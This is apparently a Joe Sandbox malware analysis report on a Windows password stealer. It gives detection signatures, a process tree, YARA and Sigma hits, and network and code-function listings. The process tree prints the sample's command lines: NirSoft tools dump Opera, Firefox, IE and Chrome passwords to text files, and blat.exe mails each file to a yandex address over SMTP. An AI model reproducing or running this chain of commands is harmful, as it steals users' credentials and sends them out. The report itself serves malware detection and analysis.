Edit tour

Windows Analysis Report
0zu73p2YBu.exe

Overview

General Information

Sample name:	0zu73p2YBu.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original sample name:	01356f359af7ecda0db1b00ebcb7bc844ce1fb36bbdbf812bf4a749c22f0d620
Analysis ID:	1559606
MD5:	29eca65ffa92a3f877b59df42e2150ed
SHA1:	df50e54f9a2b5b6b8831a1e967fba1292ef31790
SHA256:	01356f359af7ecda0db1b00ebcb7bc844ce1fb36bbdbf812bf4a749c22f0d620
Infos:

Detection

Chrome Password Stealer, Fox Password Stealer, Opera Password Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Chrome Password Stealer

Yara detected Fox Password Stealer

Yara detected Opera Password Stealer

AI detected suspicious sample

Contains functionality to steal Internet Explorer form passwords

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Machine Learning detection for dropped file

Machine Learning detection for sample

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Outbound SMTP Connections

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

0zu73p2YBu.exe (PID: 7292 cmdline: "C:\Users\user\Desktop\0zu73p2YBu.exe" MD5: 29ECA65FFA92A3F877B59DF42E2150ED)

.exe (PID: 7332 cmdline: "C:\Users\user\AppData\Local\Temp\ .exe" MD5: 6867A307FDB19A4B89696F07FBFB1847)

cmd.exe (PID: 7372 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 7812 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

OperaPassView.exe (PID: 7972 cmdline: OperaPassView.exe /stext user-PC_OperaPassView.txt MD5: 8B4AE559AD7836B27EE9F8F171BE8139)

PING.EXE (PID: 7980 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

PasswordFox.exe (PID: 8052 cmdline: PasswordFox.exe /stext user-PC_PasswordFox.txt MD5: CC84065F23CFC3D980AAD38EFC648DE6)

PING.EXE (PID: 8060 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

iepv.exe (PID: 8096 cmdline: iepv.exe /stext user-PC_iepv.txt MD5: C861FE184E271D6E2BA958DA306BA748)

PING.EXE (PID: 8104 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

ChromePass.exe (PID: 8164 cmdline: ChromePass.exe /stext user-PC_ChromePass.txt MD5: CB271441FA19AC163ECF380C8EBB3109)

PING.EXE (PID: 8172 cmdline: ping -n 120 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

blat.exe (PID: 7972 cmdline: blat.exe -install -server smtp.yandex.ru -port 587 -f alexandrKondratiev5@yandex.ru -u alexandrKondratiev5 -pw qwerty5 MD5: 31F84E433E8D1865E322998A41E6D90E)

PING.EXE (PID: 6736 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

blat.exe (PID: 6432 cmdline: blat.exe -to alexandrKondratiev5@yandex.ru -subject "Opera" -attachi "user-PC_OperaPassView.txt" -body "Opera" MD5: 31F84E433E8D1865E322998A41E6D90E)

PING.EXE (PID: 7984 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

blat.exe (PID: 8112 cmdline: blat.exe -to alexandrKondratiev5@yandex.ru -subject "Fox" -attachi "user-PC_PasswordFox.txt" -body "Fox" MD5: 31F84E433E8D1865E322998A41E6D90E)

PING.EXE (PID: 8108 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

blat.exe (PID: 8164 cmdline: blat.exe -to alexandrKondratiev5@yandex.ru -subject "ie" -attachi "user-PC_iepv.txt" -body "ie" MD5: 31F84E433E8D1865E322998A41E6D90E)

PING.EXE (PID: 2260 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

blat.exe (PID: 2720 cmdline: blat.exe -to alexandrKondratiev5@yandex.ru -subject "Chrome" -attachi "user-PC_ChromePass.txt" -body "Chrome" MD5: 31F84E433E8D1865E322998A41E6D90E)

PING.EXE (PID: 2140 cmdline: ping -n 3 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_FoxPasswordStealer	Yara detected Fox Password Stealer	Joe Security
Process Memory Space: OperaPassView.exe PID: 7972	JoeSecurity_OperaPasswordStealer	Yara detected Opera Password Stealer	Joe Security
Process Memory Space: PasswordFox.exe PID: 8052	JoeSecurity_FoxPasswordStealer	Yara detected Fox Password Stealer	Joe Security
Process Memory Space: ChromePass.exe PID: 8164	JoeSecurity_ChromePasswordStealer	Yara detected Chrome Password Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.PasswordFox.exe.400000.0.unpack	JoeSecurity_FoxPasswordStealer	Yara detected Fox Password Stealer	Joe Security
9.2.OperaPassView.exe.400000.0.unpack	JoeSecurity_OperaPasswordStealer	Yara detected Opera Password Stealer	Joe Security

Sigma Signatures

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\0zu73p2YBu.exe, ProcessId: 7292, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 77.88.21.158, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe, Initiated: true, ProcessId: 6432, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49773

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0zu73p2YBu.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Avira: detection malicious, Label: SPR/PassFox.R
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Avira: detection malicious, Label: SPR/PSW.Gen

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	ReversingLabs: Detection: 71%

Multi AV Scanner detection for submitted file

Source: 0zu73p2YBu.exe

ReversingLabs: Detection: 100%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ .exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 0zu73p2YBu.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040345F CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,	13_2_0040345F
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_00403C66 memcmp,memset,memset,memset,memset,MultiByteToWideChar,MultiByteToWideChar,memcmp,LocalAlloc,memcpy,CryptDecrypt,LocalFree,GetLastError,	13_2_00403C66
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004034C9 CryptCreateHash,CryptHashData,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,	13_2_004034C9
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_00403635 CryptHashData,CryptHashData,CryptHashData,CryptGetHashParam,	13_2_00403635
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004036F8 memset,memset,memset,memcpy,memcpy,CryptCreateHash,CryptHashData,CryptHashData,CryptHashData,CryptDestroyHash,	13_2_004036F8
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040369A CryptHashData,CryptDeriveKey,CryptDestroyHash,	13_2_0040369A
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040337E CryptReleaseContext,	13_2_0040337E
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_00403391 CryptAcquireContextA,GetLastError,	13_2_00403391
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_004028C0 CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,	15_2_004028C0
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0040315B memcmp,memset,memset,memset,memset,memcmp,LocalAlloc,memcpy,CryptDecrypt,LocalFree,GetLastError,	15_2_0040315B
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0040292A CryptCreateHash,CryptHashData,CryptHashData,CryptHashData,CryptGetHashParam,CryptDestroyHash,	15_2_0040292A
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00402AFB CryptHashData,CryptDeriveKey,CryptDestroyHash,	15_2_00402AFB
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00402A96 CryptHashData,CryptHashData,CryptHashData,CryptGetHashParam,	15_2_00402A96
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00402B59 memset,memset,memset,memcpy,memcpy,CryptCreateHash,CryptHashData,CryptHashData,CryptHashData,CryptDestroyHash,	15_2_00402B59
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00408E80 CryptReleaseContext,??3@YAXPAX@Z,	15_2_00408E80
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_004027EF CryptAcquireContextW,GetLastError,	15_2_004027EF

Source: 0zu73p2YBu.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source:	Binary string: z:\Projects\VS2005\OperaPassView\Release\OperaPassView.pdb source: OperaPassView.exe, OperaPassView.exe, 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: .pdb?P source: .exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, OperaPassView.exe, 00000009.00000000.1722119973.000000000040E000.00000080.00000001.01000000.0000000D.sdmp, OperaPassView.exe.1.dr
Source:	Binary string: z:\Projects\VS2005\iepv\Release\iepv.pdb source: iepv.exe, iepv.exe, 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: z:\Projects\VS2005\PasswordFox\Release\PasswordFox.pdb source: PasswordFox.exe, PasswordFox.exe, 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: z:\Projects\VS2005\ChromePass\Release\ChromePass.pdb source: ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp

Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_0040518C FindFirstFileW,FindNextFileW,wcslen,wcslen,	11_2_0040518C
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_00404D0E FindFirstFileW,FindNextFileW,FindClose,	11_2_00404D0E
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004063F9 FindFirstFileA,FindNextFileA,strlen,strlen,	13_2_004063F9
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00405798 FindFirstFileW,FindNextFileW,wcslen,wcslen,	15_2_00405798
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_004058AD malloc,ReadFile,strcpy,strrchr,strrchr,strrchr,FindFirstFileA,strcpy,strcat,malloc,malloc,strlen,malloc,memcpy,FindNextFileA,FindClose,	20_2_004058AD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_0040B976 lstrcpyA,FindFirstFileA,FindClose,	20_2_0040B976
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_004058AD malloc,ReadFile,strcpy,strrchr,strrchr,strrchr,FindFirstFileA,strcpy,strcat,malloc,malloc,strlen,malloc,memcpy,FindNextFileA,FindClose,	22_2_004058AD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_0040B976 lstrcpyA,FindFirstFileA,FindClose,	22_2_0040B976

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1

Source: global traffic

TCP traffic: 192.168.2.4:49773 -> 77.88.21.158:587

Source: Joe Sandbox View

IP Address: 77.88.21.158 77.88.21.158

Source: global traffic

TCP traffic: 192.168.2.4:49773 -> 77.88.21.158:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: smtp.yandex.ru
Source: global traffic	DNS traffic detected: DNS query: yandex.ru

Source: OperaPassView.exe, 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://https://.savesignIn
Source: blat.exe.1.dr	String found in binary or memory: http://www.blat.net
Source: blat.exe, blat.exe, 00000016.00000000.2416776928.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480400181.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000002.2562327376.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501549509.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000002.2652796169.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583383482.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674034956.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000002.2734819820.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.dll.1.dr, blat.exe.1.dr	String found in binary or memory: http://www.blat.net)
Source: .exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.exe, 00000014.00000002.2395717223.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000014.00000000.2395093923.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000000.2416776928.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480400181.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000002.2562327376.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501549509.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000002.2652796169.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583383482.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674034956.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000002.2734819820.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.dll.1.dr, blat.exe.1.dr	String found in binary or memory: http://www.blat.net)User-Agent:
Source: .exe	String found in binary or memory: http://www.blat.net/
Source: .exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.dll.1.dr	String found in binary or memory: http://www.blat.net/V
Source: .exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.exe, 00000014.00000002.2395776689.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480455991.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501598450.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583455609.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674118562.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe.1.dr	String found in binary or memory: http://www.blat.net/h
Source: .exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.exe, 00000014.00000002.2395717223.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000014.00000000.2395093923.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000000.2416776928.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480400181.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000002.2562327376.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501549509.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000002.2652796169.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583383482.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674034956.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000002.2734819820.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.dll.1.dr, blat.exe.1.dr	String found in binary or memory: http://www.blat.netX-Mailer:
Source: iepv.exe, 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.nirsoft.net/

Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe

Code function: 9_2_00407FBA GetTempPathW,GetWindowsDirectoryW,GetTempFileNameW,OpenClipboard,GetLastError,DeleteFileW,

9_2_00407FBA

Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_00403B17 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	9_2_00403B17
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Code function: 11_2_004043CD EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	11_2_004043CD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040561D EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	13_2_0040561D
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_004049F5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,	15_2_004049F5

Source: C:\Users\user\AppData\Local\Temp\ .exe

Code function: 1_2_00405D3C GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetFocus,GetFocus,GetClassNameA,strncmp,GetFocus,SendMessageA,GetPropA,

1_2_00405D3C

Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00405B1F GetPropA,DefFrameProcA,SetLastError,NtdllDefWindowProc_A,	1_2_00405B1F
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00407E1A sprintf,GetPropA,HeapFree,HeapFree,HeapFree,RemovePropA,CallWindowProcA,NtdllDefWindowProc_A,	1_2_00407E1A
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00404714 GetWindowLongA,CallWindowProcA,RemovePropA,RemovePropA,RemovePropA,RevokeDragDrop,SetWindowLongA,NtdllDefWindowProc_A,	1_2_00404714
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_00401715 NtdllDefWindowProc_A,	13_2_00401715
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004017CF NtdllDefWindowProc_A,	13_2_004017CF

Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00406960	1_2_00406960
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_004598D3	1_2_004598D3
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00477941	1_2_00477941
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00458AB9	1_2_00458AB9
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00476B26	1_2_00476B26
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_004573F1	1_2_004573F1
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_0047544D	1_2_0047544D
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00406C10	1_2_00406C10
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_0046DCF9	1_2_0046DCF9
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00457D75	1_2_00457D75
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_0044FD0D	1_2_0044FD0D
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_0046E5E9	1_2_0046E5E9
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_004505FD	1_2_004505FD
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00458EAF	1_2_00458EAF
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: 1_2_00476F1D	1_2_00476F1D
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_004090DD	9_2_004090DD
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_0040A887	9_2_0040A887
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_00402EAC	9_2_00402EAC
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_0040291B	9_2_0040291B
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Code function: 9_2_00402DAF	9_2_00402DAF
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004044DE	13_2_004044DE
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_0040454F	13_2_0040454F
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_004045C0	13_2_004045C0
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Code function: 13_2_00404651	13_2_00404651
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0041281D	15_2_0041281D
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0042014F	15_2_0042014F
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_004039F2	15_2_004039F2
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00403A63	15_2_00403A63
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00415232	15_2_00415232
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00403AD4	15_2_00403AD4
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_00403B65	15_2_00403B65
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0041ABA9	15_2_0041ABA9
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_0040C558	15_2_0040C558
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_004275A0	15_2_004275A0
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: 15_2_004256F0	15_2_004256F0
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_00408063	20_2_00408063
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_00411CAB	20_2_00411CAB
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_00408953	20_2_00408953
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_0041020F	20_2_0041020F
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_00411287	20_2_00411287
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_00410E90	20_2_00410E90
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 20_2_0040F7B7	20_2_0040F7B7
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_00408063	22_2_00408063
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_00411CAB	22_2_00411CAB
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_00408953	22_2_00408953
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_0041020F	22_2_0041020F
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_00411287	22_2_00411287
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_00410E90	22_2_00410E90
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: 22_2_0040F7B7	22_2_0040F7B7

Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: String function: 0040C0CC appears 48 times
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Code function: String function: 0040B4A0 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: String function: 00412220 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: String function: 00401119 appears 117 times
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: String function: 00401292 appears 270 times
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Code function: String function: 004121F8 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: String function: 00459E36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\ .exe	Code function: String function: 00477EB6 appears 31 times

Source: PasswordFox.exe.1.dr

Static PE information: Resource name: RT_DIALOG type: COM executable for DOS

Source: 0zu73p2YBu.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: .exe.0.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9976262659914712
Source: ChromePass.exe.1.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9891438802083333
Source: PasswordFox.exe.1.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9922195184426229

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/28@2/2

Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe

